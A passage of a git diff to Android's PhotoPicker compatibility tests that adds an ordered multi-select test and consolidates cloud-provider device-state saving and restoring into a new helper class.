+ UiAssertionUtils.assertThatShowsPickerUi(intent.getType());
}
@Test
@@ -197,7 +200,7 @@ public class ActionGetContentOnlyTest extends PhotoPickerBaseTest {
findAndClickMediaIcon();
// Should open Picker
- UiAssertionUtils.assertThatShowsPickerUi();
+ UiAssertionUtils.assertThatShowsPickerUi(intent.getType());
}
private void findAndClickMediaIcon() throws Exception {
@@ -208,10 +211,19 @@ public class ActionGetContentOnlyTest extends PhotoPickerBaseTest {
assertWithMessage("Waiting for app list to appear in DocumentsUi").that(
new UiObject(appList).waitForExists(SHORT_TIMEOUT)).isTrue();
- String photoPickerAppName = "Media picker";
+ String photoPickerAppName = "Media";
UiObject mediaButton = sDevice.findObject(new UiSelector().text(photoPickerAppName));
-
- assertWithMessage("Timed out waiting for " + photoPickerAppName + " app icon to appear")
+ if (!new UiScrollable(appList).setAsHorizontalList().scrollIntoView(mediaButton)) {
+ // While solving an accessibility bug the app_label was modified from 'Media' to
+ // 'Media picker' and after making the modification, since this test had the
+ // hardcoded value for the name as 'Media' it started failing. After fixing this some
+ // versions of the code became incompatible with this test and hence have modified
+ // the code to work with both names.
+ photoPickerAppName = "Media picker";
+ mediaButton = sDevice.findObject(new UiSelector().text(photoPickerAppName));
+ }
+ assertWithMessage("Timed out waiting for " + photoPickerAppName
+ + " app icon to appear")
.that(new UiScrollable(appList).setAsHorizontalList().scrollIntoView(mediaButton))
.isTrue();
sDevice.waitForIdle();
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/ActionPickImagesOnlyTest.java b/tests/PhotoPicker/src/android/photopicker/cts/ActionPickImagesOnlyTest.java
index 76ff2175e9f..b6180df5968 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/ActionPickImagesOnlyTest.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/ActionPickImagesOnlyTest.java
@@ -18,6 +18,7 @@ package android.photopicker.cts;
import static android.photopicker.cts.util.PhotoPickerFilesUtils.createImagesAndGetUris;
import static android.photopicker.cts.util.PhotoPickerFilesUtils.deleteMedia;
+import static android.photopicker.cts.util.PhotoPickerFilesUtils.getMediaId;
import static android.photopicker.cts.util.PhotoPickerUiUtils.SHORT_TIMEOUT;
import static android.photopicker.cts.util.PhotoPickerUiUtils.clickAndWait;
import static android.photopicker.cts.util.PhotoPickerUiUtils.findAddButton;
@@ -86,7 +87,7 @@ public class ActionPickImagesOnlyTest extends PhotoPickerBaseTest {
mActivity.startActivityForResult(Intent.createChooser(intent, TAG), REQUEST_CODE);
- UiAssertionUtils.assertThatShowsPickerUi();
+ UiAssertionUtils.assertThatShowsPickerUi(intent.getType());
sDevice.pressBack();
}
}
@@ -141,6 +142,34 @@ public class ActionPickImagesOnlyTest extends PhotoPickerBaseTest {
final int count = clipData.getItemCount();
assertThat(count).isEqualTo(maxCount);
}
+ @Test
+ public void testMultiSelectOrdered() throws Exception {
+ final int imageCount = 4;
+ List<Uri> createdImages = createImagesAndGetUris(imageCount, mContext.getUserId());
+ mUriList.addAll(createdImages);
+ Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
+ addOrderedSelectionFlag(intent);
+ launchPhotoPickerForIntent(intent);
+
+ final List<UiObject> itemList = findItemList(imageCount);
+ final int itemCount = itemList.size();
+ assertThat(itemCount).isEqualTo(imageCount);
+ for (int i = 0; i < itemCount; i++) {
+ clickAndWait(sDevice, itemList.get(i));
+ }
+
+ clickAndWait(sDevice, findAddButton());
+
+ final ClipData clipData = mActivity.getResult().data.getClipData();
+ final int count = clipData.getItemCount();
+ assertThat(count).isEqualTo(itemCount);
+ for (int i = 0; i < count; i++) {
+ final Uri imageSelectedUri = clipData.getItemAt(i).getUri();
+ // The last image created, is the first on the photopicker grid.
+ final Uri imageCreatedUri = createdImages.get(count - i - 1);
+ assertThat(getMediaId(imageSelectedUri)).isEqualTo(getMediaId(imageCreatedUri));
+ }
+ }
@Test
public void testDoesNotRespectExtraAllowMultiple() throws Exception {
@@ -178,4 +207,18 @@ public class ActionPickImagesOnlyTest extends PhotoPickerBaseTest {
final GetResultActivity.Result res = mActivity.getResult();
assertThat(res.resultCode).isEqualTo(Activity.RESULT_CANCELED);
}
+ private void addOrderedSelectionFlag(Intent intent) {
+ intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, MediaStore.getPickImagesMaxLimit());
+ intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_IN_ORDER, true);
+ }
+
+ private void launchPhotoPickerForIntent(Intent intent) throws Exception {
+ // GET_CONTENT needs to have setType
+ if (Intent.ACTION_GET_CONTENT.equals(intent.getAction()) && intent.getType() == null) {
+ intent.setType("*/*");
+ intent.putExtra(Intent.EXTRA_MIME_TYPES, new String[]{"image/*", "video/*"});
+ }
+
+ mActivity.startActivityForResult(intent, REQUEST_CODE);
+ }
}
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/ActionUserSelectImagesForAppTest.java b/tests/PhotoPicker/src/android/photopicker/cts/ActionUserSelectImagesForAppTest.java
index f20b0e88afb..05616ccdf59 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/ActionUserSelectImagesForAppTest.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/ActionUserSelectImagesForAppTest.java
@@ -17,13 +17,11 @@
package android.photopicker.cts;
import static android.photopicker.cts.PhotoPickerCloudUtils.containsExcept;
-import static android.photopicker.cts.PhotoPickerCloudUtils.disableCloudMediaAndClearAllowedCloudProviders;
+import static android.photopicker.cts.PhotoPickerCloudUtils.disableDeviceConfigSync;
import static android.photopicker.cts.PhotoPickerCloudUtils.enableCloudMediaAndSetAllowedCloudProviders;
import static android.photopicker.cts.PhotoPickerCloudUtils.extractMediaIds;
import static android.photopicker.cts.PhotoPickerCloudUtils.fetchPickerMedia;
-import static android.photopicker.cts.PhotoPickerCloudUtils.getAllowedProvidersDeviceConfig;
import static android.photopicker.cts.PhotoPickerCloudUtils.initCloudProviderWithImage;
-import static android.photopicker.cts.PhotoPickerCloudUtils.isCloudMediaEnabled;
import static android.photopicker.cts.PhotoPickerCloudUtils.selectAndAddPickerMedia;
import static android.photopicker.cts.PickerProviderMediaGenerator.getMediaGenerator;
import static android.photopicker.cts.util.PhotoPickerFilesUtils.createImagesAndGetUris;
@@ -68,39 +66,25 @@ import java.util.List;
@SdkSuppress(minSdkVersion = Build.VERSION_CODES.UPSIDE_DOWN_CAKE, codeName = "UpsideDownCake")
@RunWith(AndroidJUnit4.class)
public class ActionUserSelectImagesForAppTest extends PhotoPickerBaseTest {
-
- private static boolean sCloudMediaPreviouslyEnabled;
- @Nullable
- private static String sPreviouslyAllowedCloudProviders;
+ private static final String TAG = ActionUserSelectImagesForAppTest.class.getSimpleName();
@Nullable
- private static String sPreviouslySetCloudProvider;
+ private static DeviceStatePreserver sDeviceStatePreserver;
@BeforeClass
public static void setUpClass() throws IOException {
- // Store the current Cloud-Media feature configs which we will override during the test,
- // and will need to restore after the test finished.
- sCloudMediaPreviouslyEnabled = isCloudMediaEnabled();
- if (sCloudMediaPreviouslyEnabled) {
- sPreviouslyAllowedCloudProviders = getAllowedProvidersDeviceConfig();
- }
- sPreviouslySetCloudProvider = getCurrentCloudProvider();
+ sDeviceStatePreserver = new DeviceStatePreserver(sDevice);
+ sDeviceStatePreserver.saveCurrentCloudProviderState();
+ disableDeviceConfigSync();
// Override the allowed cloud providers config to enable the banners
// (this is a self-instrumenting test, so "target" package name and "own" package name are
// same: android.photopicker.cts).
enableCloudMediaAndSetAllowedCloudProviders(sTargetPackageName);
-
}
@AfterClass
public static void tearDownClass() throws Exception {
- // Restore Cloud-Media feature configs.
- if (sCloudMediaPreviouslyEnabled) {
- enableCloudMediaAndSetAllowedCloudProviders(sPreviouslyAllowedCloudProviders);
- } else {
- disableCloudMediaAndClearAllowedCloudProviders();
- }
- setCloudProvider(sPreviouslySetCloudProvider);
+ sDeviceStatePreserver.restoreCloudProviderState();
}
@After
@@ -155,22 +139,23 @@ public class ActionUserSelectImagesForAppTest extends PhotoPickerBaseTest {
@Test
public void testUserSelectImagesForAppHandledByPhotopicker() throws Exception {
- launchActivityForResult(getUserSelectImagesIntent());
- UiAssertionUtils.assertThatShowsPickerUi();
+ Intent intent = getUserSelectImagesIntent();
+ launchActivityForResult(intent);
+ UiAssertionUtils.assertThatShowsPickerUi(intent.getType());
}
@Test
public void testPhotosMimeTypeFilter() throws Exception {
Intent intent = getUserSelectImagesIntent("image/*");
launchActivityForResult(intent);
- UiAssertionUtils.assertThatShowsPickerUi();
+ UiAssertionUtils.assertThatShowsPickerUi(intent.getType());
}
@Test
public void testVideosMimeTypeFilter() throws Exception {
Intent intent = getUserSelectImagesIntent("video/*");
launchActivityForResult(intent);
- UiAssertionUtils.assertThatShowsPickerUi();
+ UiAssertionUtils.assertThatShowsPickerUi(intent.getType());
}
@Test
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/CloudPhotoPickerTest.java b/tests/PhotoPicker/src/android/photopicker/cts/CloudPhotoPickerTest.java
index a0d23e378c0..f2e3c684d60 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/CloudPhotoPickerTest.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/CloudPhotoPickerTest.java
@@ -18,11 +18,9 @@ package android.photopicker.cts;
import static android.photopicker.cts.PhotoPickerCloudUtils.addImage;
import static android.photopicker.cts.PhotoPickerCloudUtils.containsExcept;
-import static android.photopicker.cts.PhotoPickerCloudUtils.disableCloudMediaAndClearAllowedCloudProviders;
+import static android.photopicker.cts.PhotoPickerCloudUtils.disableDeviceConfigSync;
import static android.photopicker.cts.PhotoPickerCloudUtils.enableCloudMediaAndSetAllowedCloudProviders;
import static android.photopicker.cts.PhotoPickerCloudUtils.extractMediaIds;
-import static android.photopicker.cts.PhotoPickerCloudUtils.getAllowedProvidersDeviceConfig;
-import static android.photopicker.cts.PhotoPickerCloudUtils.isCloudMediaEnabled;
import static android.photopicker.cts.PickerProviderMediaGenerator.MediaGenerator;
import static android.photopicker.cts.PickerProviderMediaGenerator.syncCloudProvider;
import static android.photopicker.cts.util.PhotoPickerFilesUtils.createImagesAndGetUris;
@@ -72,6 +70,7 @@ import java.util.List;
@RunWith(AndroidJUnit4.class)
@SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
public class CloudPhotoPickerTest extends PhotoPickerBaseTest {
+ private static final String TAG = CloudPhotoPickerTest.class.getSimpleName();
private final List<Uri> mUriList = new ArrayList<>();
private MediaGenerator mCloudPrimaryMediaGenerator;
private MediaGenerator mCloudSecondaryMediaGenerator;
@@ -83,19 +82,14 @@ public class CloudPhotoPickerTest extends PhotoPickerBaseTest {
private static final String CLOUD_ID1 = "CLOUD_ID1";
private static final String CLOUD_ID2 = "CLOUD_ID2";
- private static boolean sCloudMediaPreviouslyEnabled;
- private static String sPreviouslyAllowedCloudProviders;
@Nullable
- private static String sPreviouslySetCloudProvider;
+ private static DeviceStatePreserver sDeviceStatePreserver;
@BeforeClass
public static void setUpBeforeClass() throws IOException {
- // Store the current CMP configs, so that we can reset them at the end of the test.
- sCloudMediaPreviouslyEnabled = isCloudMediaEnabled();
- if (sCloudMediaPreviouslyEnabled) {
- sPreviouslyAllowedCloudProviders = getAllowedProvidersDeviceConfig();
- }
- sPreviouslySetCloudProvider = getCurrentCloudProvider();
+ sDeviceStatePreserver = new DeviceStatePreserver(sDevice);
+ sDeviceStatePreserver.saveCurrentCloudProviderState();
+ disableDeviceConfigSync();
// This is a self-instrumentation test, so both "target" package name and "own" package name
// should be the same (android.photopicker.cts).
@@ -104,13 +98,7 @@ public class CloudPhotoPickerTest extends PhotoPickerBaseTest {
@AfterClass
public static void tearDownClass() throws Exception {
- // Reset CloudMedia configs.
- if (sCloudMediaPreviouslyEnabled) {
- enableCloudMediaAndSetAllowedCloudProviders(sPreviouslyAllowedCloudProviders);
- } else {
- disableCloudMediaAndClearAllowedCloudProviders();
- }
- setCloudProvider(sPreviouslySetCloudProvider);
+ sDeviceStatePreserver.restoreCloudProviderState();
}
@Before
public void setUp() throws Exception {
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/DeviceStatePreserver.java b/tests/PhotoPicker/src/android/photopicker/cts/DeviceStatePreserver.java
new file mode 100644
index 00000000000..3f660a41215
--- /dev/null
+++ b/tests/PhotoPicker/src/android/photopicker/cts/DeviceStatePreserver.java
@@ -0,0 +1,116 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.photopicker.cts;
+
+import static android.photopicker.cts.PhotoPickerBaseTest.INVALID_CLOUD_PROVIDER;
+import static android.photopicker.cts.PhotoPickerCloudUtils.NAMESPACE_MEDIAPROVIDER;
+import static android.photopicker.cts.PhotoPickerCloudUtils.NAMESPACE_STORAGE_NATIVE_BOOT;
+import static android.photopicker.cts.PhotoPickerCloudUtils.disableCloudMediaAndClearAllowedCloudProviders;
+import static android.photopicker.cts.PhotoPickerCloudUtils.enableCloudMediaAndSetAllowedCloudProviders;
+import static android.photopicker.cts.PhotoPickerCloudUtils.getAllowedProvidersDeviceConfig;
+import static android.photopicker.cts.PhotoPickerCloudUtils.getCurrentCloudProvider;
+import static android.photopicker.cts.PhotoPickerCloudUtils.isCloudMediaEnabled;
+import static android.photopicker.cts.PhotoPickerCloudUtils.setCloudProvider;
+
+import android.util.Log;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+import androidx.test.uiautomator.UiDevice;
+
+import java.io.IOException;
+
+/**
+ * Provides helper functions to save current device state and restore the state after running tests.
+ */
+public class DeviceStatePreserver {
+ private static final String TAG = DeviceStatePreserver.class.getSimpleName();
+
+ private UiDevice mUiDevice;
+
+ // Previous state in storage_native_boot namespace
+ private static boolean sIsCloudEnabledStorageNativeBoot;
+ @Nullable
+ private static String sAllowedCloudProvidersStorageNativeBoot;
+
+ // Previous state in mediaprovider namespace
+ private static boolean sIsCloudEnabledMediaProvider;
+ @Nullable
+ private static String sAllowedCloudProvidersMediaProvider;
+
+ @Nullable
+ private static String sPreviouslySetCloudProvider;
+
+ public DeviceStatePreserver(@NonNull UiDevice device) {
+ mUiDevice = device;
+ }
+
+ /**
+ * Saves current cloud provider related device config flags from
+ * {@link PhotoPickerCloudUtils#NAMESPACE_STORAGE_NATIVE_BOOT} and
+ * {@link PhotoPickerCloudUtils#NAMESPACE_MEDIAPROVIDER}.
+ * Also saves the current cloud provider.
+ */
+ public void saveCurrentCloudProviderState() throws IOException {
+ // Save flags in storage_native_boot namespace
+ sIsCloudEnabledStorageNativeBoot = isCloudMediaEnabled(NAMESPACE_STORAGE_NATIVE_BOOT);
+ if (sIsCloudEnabledStorageNativeBoot) {
+ sAllowedCloudProvidersStorageNativeBoot =
+ getAllowedProvidersDeviceConfig(NAMESPACE_STORAGE_NATIVE_BOOT);
+ }
+
+ // Save flags in mediaprovider namespace
+ sIsCloudEnabledMediaProvider = isCloudMediaEnabled(NAMESPACE_MEDIAPROVIDER);
+ if (sIsCloudEnabledMediaProvider) {
+ sAllowedCloudProvidersMediaProvider =
+ getAllowedProvidersDeviceConfig(NAMESPACE_MEDIAPROVIDER);
+ }
+
+ // Save current cloud provider.
+ try {
+ sPreviouslySetCloudProvider = getCurrentCloudProvider(mUiDevice);
+ } catch (RuntimeException e) {
+ Log.e(TAG, "Could not get previously set cloud provider", e);
+ sPreviouslySetCloudProvider = INVALID_CLOUD_PROVIDER;
+ }
+ }
+
+ /**
+ * Restores the current cloud provider state previously saved using
+ * {@link DeviceStatePreserver#saveCurrentCloudProviderState()}.
+ */
+ public void restoreCloudProviderState() throws Exception {
+ // Restore flags in storage_native_boot namespace
+ if (sIsCloudEnabledStorageNativeBoot) {
+ enableCloudMediaAndSetAllowedCloudProviders(
+ NAMESPACE_STORAGE_NATIVE_BOOT, sAllowedCloudProvidersStorageNativeBoot);
+ } else {
+ disableCloudMediaAndClearAllowedCloudProviders(NAMESPACE_STORAGE_NATIVE_BOOT);
+ }
+
+ // Restore flags in mediaprovider namespace
+ if (sIsCloudEnabledMediaProvider) {
+ enableCloudMediaAndSetAllowedCloudProviders(
+ NAMESPACE_MEDIAPROVIDER, sAllowedCloudProvidersMediaProvider);
+ } else {
+ disableCloudMediaAndClearAllowedCloudProviders(NAMESPACE_MEDIAPROVIDER);
+ }
+
+ // Restore previously set cloud provider.
+ setCloudProvider(mUiDevice, sPreviouslySetCloudProvider);
+ }
+}
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerBannersTest.java b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerBannersTest.java
deleted file mode 100644
index fd67cffc945..00000000000
--- a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerBannersTest.java
+++ /dev/null
@@ -1,195 +0,0 @@
-/*
- * Copyright (C) 2023 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.photopicker.cts;
-
-import static android.photopicker.cts.PhotoPickerCloudUtils.disableCloudMediaAndClearAllowedCloudProviders;
-import static android.photopicker.cts.PhotoPickerCloudUtils.enableCloudMediaAndSetAllowedCloudProviders;
-import static android.photopicker.cts.PhotoPickerCloudUtils.getAllowedProvidersDeviceConfig;
-import static android.photopicker.cts.PhotoPickerCloudUtils.isCloudMediaEnabled;
-import static android.photopicker.cts.util.PhotoPickerFilesUtils.createImage;
-import static android.photopicker.cts.util.PhotoPickerFilesUtils.deleteMedia;
-import static android.photopicker.cts.util.PhotoPickerUiUtils.TIMEOUT;
-import static android.photopicker.cts.util.PhotoPickerUiUtils.clickAndWait;
-import static android.photopicker.cts.util.PhotoPickerUiUtils.findBannerActionButton;
-import static android.photopicker.cts.util.PhotoPickerUiUtils.findBannerDismissButton;
-import static android.photopicker.cts.util.PhotoPickerUiUtils.findBannerPrimaryText;
-import static android.photopicker.cts.util.PhotoPickerUiUtils.findSettingsOverflowMenuItem;
-import static android.photopicker.cts.util.PhotoPickerUiUtils.getBannerPrimaryText;
-import static android.photopicker.cts.util.PhotoPickerUiUtils.isPhotoPickerVisible;
-import static android.photopicker.cts.util.PhotoPickerUiUtils.verifySettingsActivityIsVisible;
-import static android.provider.MediaStore.ACTION_PICK_IMAGES;
-import static android.provider.MediaStore.EXTRA_PICK_IMAGES_MAX;
-import static android.provider.MediaStore.getPickImagesMaxLimit;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.content.Intent;
-import android.net.Uri;
-import android.os.Build;
-import android.photopicker.cts.cloudproviders.CloudProviderPrimary;
-
-import androidx.annotation.Nullable;
-import androidx.test.filters.SdkSuppress;
-import androidx.test.uiautomator.UiObject;
-
-import org.junit.After;
-import org.junit.AfterClass;
-import org.junit.Before;
-import org.junit.BeforeClass;
-import org.junit.Ignore;
-import org.junit.Test;
-
-import java.io.IOException;
-
-/**
- * Photo Picker Banner Tests for common flows.
- */
-// TODO(b/195009187): Enabling the banners requires setting allowed_cloud_providers device config.
-// We currently can't do this in R.
-@SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
-public class PhotoPickerBannersTest extends PhotoPickerBaseTest {
-
- private static boolean sCloudMediaPreviouslyEnabled;
- private static String sPreviouslyAllowedCloudProviders;
- @Nullable
- private static String sPreviouslySetCloudProvider;
- private Uri mLocalMediaFileUri;
-
- @BeforeClass
- public static void setUpBeforeClass() throws IOException {
- // Store the current CMP configs, so that we can reset them at the end of the test.
- sCloudMediaPreviouslyEnabled = isCloudMediaEnabled();
- if (sCloudMediaPreviouslyEnabled) {
- sPreviouslyAllowedCloudProviders = getAllowedProvidersDeviceConfig();
- }
- sPreviouslySetCloudProvider = getCurrentCloudProvider();
-
- // Override the allowed cloud providers config to enable the banners.
- enableCloudMediaAndSetAllowedCloudProviders(sTargetPackageName);
- }
-
- @AfterClass
- public static void tearDownClass() throws Exception {
- // Reset CloudMedia configs.
- if (sCloudMediaPreviouslyEnabled) {
- enableCloudMediaAndSetAllowedCloudProviders(sPreviouslyAllowedCloudProviders);
- } else {
- disableCloudMediaAndClearAllowedCloudProviders();
- }
- setCloudProvider(sPreviouslySetCloudProvider);
- }
-
- @Before
- public void setUp() throws Exception {
- super.setUp();
- setCloudProvider(/* authority */ null);
-
- // Create a local media file because if there's no media items for the picker grids,
- // the recycler view gets hidden along with the banners.
- mLocalMediaFileUri = createImage(mContext.getUserId(), /* isFavorite */ false).first;
- }
-
- @After
- public void tearDown() throws Exception {
- if (!isHardwareSupported()) {
- // No-op, skip tear down if hardware is not supported.
- return;
- }
-
- if (mActivity != null) {
- mActivity.finish();
- }
-
- deleteMedia(mLocalMediaFileUri, mContext);
-
- setCloudProvider(/* authority */ null);
- }
-
- @Test
- @Ignore("Tracking this in b/274840171")
- public void testChooseAppBannerOnDismiss() throws Exception {
- // 1. Setting up the 'Choose App' banner.
- setCloudMediaInfoForChooseAppBanner();
-
- // 2. Assert that the 'Choose App' banner is visible.
- assertThat(getBannerPrimaryText()).isEqualTo("Choose cloud media app");
-
- // 3. Click the banner 'Dismiss' button.
- final UiObject dismissButton = findBannerDismissButton();
- dismissButton.click();
-
- // 4. Assert that the Banner disappeared while the Picker is still visible.
- assertWithMessage("Timed out waiting for the banner to disappear")
- .that(dismissButton.waitUntilGone(TIMEOUT))
- .isTrue();
- assertThatPhotoPickerActivityIsVisible();
- }
-
- @Test
- @Ignore("Tracking this in b/274840171")
- public void testChooseAppBannerOnActionButtonClick() throws Exception {
- // 1. Setting up the 'Choose App' banner.
- setCloudMediaInfoForChooseAppBanner();
-
- // 2. Assert that the 'Choose App' banner is visible.
- assertThat(getBannerPrimaryText()).isEqualTo("Choose cloud media app");
-
- // 3. Click the banner 'Action' button.
- findBannerActionButton().click();
-
- // 4. Assert that Settings page is visible.
- verifySettingsActivityIsVisible();
- sDevice.pressBack();
- }
-
- private void setCloudMediaInfoForChooseAppBanner() throws Exception {
- // 1. Set a non-null cloud provider and launch the photo picker.
- setCloudProvider(CloudProviderPrimary.AUTHORITY);
- launchPickerActivity();
-
- // 2. Wait for the banner controller construction.
- findBannerPrimaryText().waitForExists(TIMEOUT);
-
- // 3. Set the cloud provider to None and reset the banner data in the same picker session.
-
- // 3a. Launch the settings activity.
- final UiObject settingsMenuItem = findSettingsOverflowMenuItem(sDevice);
- clickAndWait(sDevice, settingsMenuItem);
- verifySettingsActivityIsVisible();
-
- // 3b. Set the cloud provider to None.
- setCloudProvider(/* authority */ null);
-
- // 3c. Go back to the picker.
- sDevice.pressBack();
- assertThatPhotoPickerActivityIsVisible();
- }
-
- private void launchPickerActivity() {
- final Intent intent = new Intent(ACTION_PICK_IMAGES);
- intent.putExtra(EXTRA_PICK_IMAGES_MAX, getPickImagesMaxLimit());
- mActivity.startActivity(intent);
- assertThatPhotoPickerActivityIsVisible();
- }
-
- private void assertThatPhotoPickerActivityIsVisible() {
- assertWithMessage("Timed out waiting for the photo picker activity to appear")
- .that(isPhotoPickerVisible())
- .isTrue();
- }
-}
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerBaseTest.java b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerBaseTest.java
index afc33e11c7d..5d7f9cd6e43 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerBaseTest.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerBaseTest.java
@@ -22,8 +22,6 @@ import android.app.Instrumentation;
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
-import android.os.UserHandle;
-import android.util.Log;
import androidx.annotation.Nullable;
import androidx.test.InstrumentationRegistry;
@@ -41,9 +39,10 @@ import java.io.IOException;
public class PhotoPickerBaseTest {
private static final String TAG = "PhotoPickerBaseTest";
public static int REQUEST_CODE = 42;
+ protected static final String INVALID_CLOUD_PROVIDER = "Invalid";
private static final Instrumentation sInstrumentation =
InstrumentationRegistry.getInstrumentation();
- protected static final String sTargetPackageName =
+ public static final String sTargetPackageName =
sInstrumentation.getTargetContext().getPackageName();
protected static final UiDevice sDevice = UiDevice.getInstance(sInstrumentation);
@@ -90,42 +89,11 @@ public class PhotoPickerBaseTest {
}
protected static void setCloudProvider(@Nullable String authority) throws Exception {
- if (authority == null) {
- sDevice.executeShellCommand(
- "content call"
- + " --user " + UserHandle.myUserId()
- + " --uri content://media/ --method set_cloud_provider --extra"
- + " cloud_provider:n:null");
- } else {
- sDevice.executeShellCommand(
- "content call"
- + " --user " + UserHandle.myUserId()
- + " --uri content://media/ --method set_cloud_provider --extra"
- + " cloud_provider:s:"
- + authority);
- }
+ PhotoPickerCloudUtils.setCloudProvider(sDevice, authority);
}
protected static String getCurrentCloudProvider() throws IOException {
- final String out =
- sDevice.executeShellCommand(
- "content call"
- + " --user " + UserHandle.myUserId()
- + " --uri content://media/ --method get_cloud_provider");
- return extractCloudProvider(out);
- }
-
- private static String extractCloudProvider(String out) {
- if (out == null) {
- Log.d(TAG, "Failed request to get current cloud provider");
- return null;
- }
- String cloudprovider = (out.split("=")[1]);
- cloudprovider = cloudprovider.substring(0, cloudprovider.length() - 3);
- if (cloudprovider.equals("null")) {
- return null;
- }
- return cloudprovider;
+ return PhotoPickerCloudUtils.getCurrentCloudProvider(sDevice);
}
}
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerCloudUtils.java b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerCloudUtils.java
index cac90216423..e9a016df81a 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerCloudUtils.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerCloudUtils.java
@@ -18,6 +18,7 @@ package android.photopicker.cts;
import static android.Manifest.permission.READ_DEVICE_CONFIG;
import static android.Manifest.permission.WRITE_DEVICE_CONFIG;
+import static android.photopicker.cts.PhotoPickerBaseTest.INVALID_CLOUD_PROVIDER;
import static android.photopicker.cts.PickerProviderMediaGenerator.syncCloudProvider;
import static android.photopicker.cts.util.PhotoPickerUiUtils.findAddButton;
import static android.photopicker.cts.util.PhotoPickerUiUtils.findItemList;
@@ -28,8 +29,10 @@ import static com.google.common.truth.Truth.assertWithMessage;
import android.app.UiAutomation;
import android.content.ClipData;
import android.content.Context;
+import android.os.UserHandle;
import android.provider.DeviceConfig;
import android.provider.MediaStore;
+import android.text.TextUtils;
import android.util.Log;
import android.util.Pair;
@@ -47,7 +50,8 @@ import java.util.Collections;
import java.util.List;
public class PhotoPickerCloudUtils {
- private static final String NAMESPACE_MEDIAPROVIDER = "mediaprovider";
+ public static final String NAMESPACE_MEDIAPROVIDER = "mediaprovider";
+ public static final String NAMESPACE_STORAGE_NATIVE_BOOT = "storage_native_boot";
private static final String KEY_ALLOWED_CLOUD_PROVIDERS = "allowed_cloud_providers";
private static final String KEY_CLOUD_MEDIA_FEATURE_ENABLED = "cloud_media_feature_enabled";
private static final String DISABLE_DEVICE_CONFIG_SYNC =
@@ -133,37 +137,61 @@ public class PhotoPickerCloudUtils {
assertThat(mediaIds).containsNoneIn(Collections.singletonList(notContained));
}
- public static boolean isCloudMediaEnabled() {
- return Boolean.parseBoolean(readDeviceConfigProp(KEY_CLOUD_MEDIA_FEATURE_ENABLED));
+ /**
+ * @return true if cloud is enabled in the device config of the given namespace,
+ * otherwise false.
+ */
+ public static boolean isCloudMediaEnabled(@NonNull String namespace) {
+ return Boolean.parseBoolean(readDeviceConfigProp(namespace,
+ KEY_CLOUD_MEDIA_FEATURE_ENABLED));
}
+ /**
+ * @return the allowed providers in the device config of the given namespace.
+ */
@Nullable
- static String getAllowedProvidersDeviceConfig() {
- return readDeviceConfigProp(KEY_ALLOWED_CLOUD_PROVIDERS);
+ static String getAllowedProvidersDeviceConfig(@NonNull String namespace) {
+ return readDeviceConfigProp(namespace, KEY_ALLOWED_CLOUD_PROVIDERS);
}
+ /**
+ * Enables cloud media and sets the allowed cloud provider in the namespace storage_native_boot
+ * and mediaprovider.
+ */
static void enableCloudMediaAndSetAllowedCloudProviders(@NonNull String allowedPackagesJoined) {
- writeDeviceConfigProp(KEY_ALLOWED_CLOUD_PROVIDERS, allowedPackagesJoined);
+ enableCloudMediaAndSetAllowedCloudProviders(NAMESPACE_MEDIAPROVIDER, allowedPackagesJoined);
+ enableCloudMediaAndSetAllowedCloudProviders(
+ NAMESPACE_STORAGE_NATIVE_BOOT, allowedPackagesJoined);
+ }
+
+ /**
+ * Enables cloud media and sets the allowed cloud provider in the given namespace.
+ */
+ static void enableCloudMediaAndSetAllowedCloudProviders(@NonNull String namespace,
+ @NonNull String allowedPackagesJoined) {
+ writeDeviceConfigProp(namespace, KEY_ALLOWED_CLOUD_PROVIDERS, allowedPackagesJoined);
assertWithMessage("Failed to update the allowed cloud providers device config")
- .that(getAllowedProvidersDeviceConfig())
+ .that(getAllowedProvidersDeviceConfig(namespace))
.isEqualTo(allowedPackagesJoined);
- writeDeviceConfigProp(KEY_CLOUD_MEDIA_FEATURE_ENABLED, true);
